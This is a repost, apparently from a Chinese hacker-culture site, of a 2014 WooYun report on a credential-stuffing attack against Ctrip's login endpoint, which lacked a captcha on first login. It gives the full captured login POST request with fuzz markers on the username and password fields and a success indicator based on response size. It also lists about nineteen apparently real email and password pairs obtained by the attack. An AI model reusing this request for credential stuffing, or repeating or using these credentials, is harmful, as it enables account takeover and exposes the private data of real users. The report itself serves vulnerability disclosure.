记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

绕过携程主站登录接口限制进行撞库攻击(大量用户密码泄漏)

2014-10-20 08:40

经过几次测试,思维不再跟往常一样,觉得主站那么多人测试了,一定不会有问题。



但是抱着一颗怀疑的心,去大胆测试了下,没想到测出问题了。



具体过程如下:



主站登录错误后是需要弹出验证码的,这个之前测试过就知道。



这次又翻到主站,因为第一次登录是没有验证码的,所以连试都没试,直接填写账号密码,开代理,抓包。然后大数据撞库。



令人吃惊的是这样抓的包,竟然可以直接fuzz啊...



由于时间关系,就测试了一小部分数据,成功率还是比较高的。



过程:

第一次登录时抓包

image.jpg





code 区域
POST /member/login.aspx HTTP/1.1

Host: accounts.ctrip.com

Connection: keep-alive

Content-Length: 2450

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: https://accounts.ctrip.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: https://accounts.ctrip.com/member/login.aspx

Accept-Encoding: gzip,deflate,sdch

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie:



__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNjI4OTIwNTgzDxYCHgNkZGQy3AQAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAQBAAAA4gFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5EaWN0aW9uYXJ5YDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49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q%2BN5Lqy55qE5aeT5ZCNEuaCqOeIseS6uueahOeUn%2BaXpRLmgqjlrrbluq3nmoTnlLXor50S5oKo5YWs5Y%2B455qE5ZCN56ewEuaCqOavleS4mueahOWtpuagoRLmgqjllpzmrKLnmoTpopzoibIS5oKo5YW755qE5a6g54mp5ZCNEuaCqOacgOWWnOasoueahOatjBLmgqjmnIDltIfmi5znmoTkuroVCgExATIBMwE0ATUBNgE3ATgBOQIxMBQrAwpnZ2dnZ2dnZ2dnZGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFDGNoa0F1dG9Mb2dpbg%3D%3D&signin_logintype=&done=&loginType=0&hdnToken=MjAxNC05LTQgMjI6NDk6MDY%3D&hidGohome=MjAxNC05LTQgMjI6NDg6MzM%3D&hidVerifyCodeLevel=N&VerifyCodeFlagDy=N&hidMask=F&1=on&txtUserName=§asdaaaaa§&txtPwd=§123456§&txtCode=&chkAutoLogin=on&btnSubmit=%B5%C7%C2%BC&mobilePhone=&txtCodePwd=&dyPwd=&hidToken=MjAxNC05LTQgMjI6NDk6MDY%3D&hidUid=&hidServerName=http%3A%2F%2Faccounts.ctrip.com&needCheckServerSession=F&cardname=&hid_cardname=0&txtCUserName=&txtCPwd=&txtVerifyCode=&txtMPwd=&txtReMPwd=&txtMSPwd=&txtReMSPwd=&selQuestion=1&txtMAnswer=&txtHIDCardNo=&txtHMobile=&txtHPwd=&txtReHPwd=&txtHSPwd=&txtReHSPwd=&selHQuestion=1&txtHAnswer=





image.jpg





返回包大于40000的都是成功的



设置好字典fuzz后的结果



贴上部分数据



code 区域
kekeboo@163.com:         0

liyezhuo@gmail.com: 2310021989

luobo770830@163.com: 19750429

haozhizhen198214@sohu.com:820714%%%

cwx9@sina.com:leisure++

xiasg@sina.com:xia1004

wanamaker@sina.com:wangcheng

xtech@21cn.com:wt99lqq

guo_jun@neusoft.com:gjcsm7983

yuren46@163.com:820815

575579791@qq.com:19861202

kiofking0311@gmail.com:zhangkua

songzj@gmail.com:js820317

xy_589@126.com:x8182131y

anpei.ok@163.com:jsanpei361

njsunlihua@163.com:sunlhsunlh

dongduluoyang@qq.com:Longrui1989

tanhui@huawei.com:Cougar77

sw_kelvin@hotmail.com:12daf49





登录测试截图



575579791@qq.com:19861202

image.jpg



登录会有一个提示,无影响

image.jpg





sw_kelvin@hotmail.com:12daf49



image.jpg





anpei.ok@163.com:jsanpei361

image.jpg

漏洞证明:

综上所述。

修复方案:

主站登录接口第一次无验证码登录次数限制。

知识来源: www.wooyun.org/bugs/wooyun-2014-075096

阅读:351997 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“绕过携程主站登录接口限制进行撞库攻击(大量用户密码泄漏)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云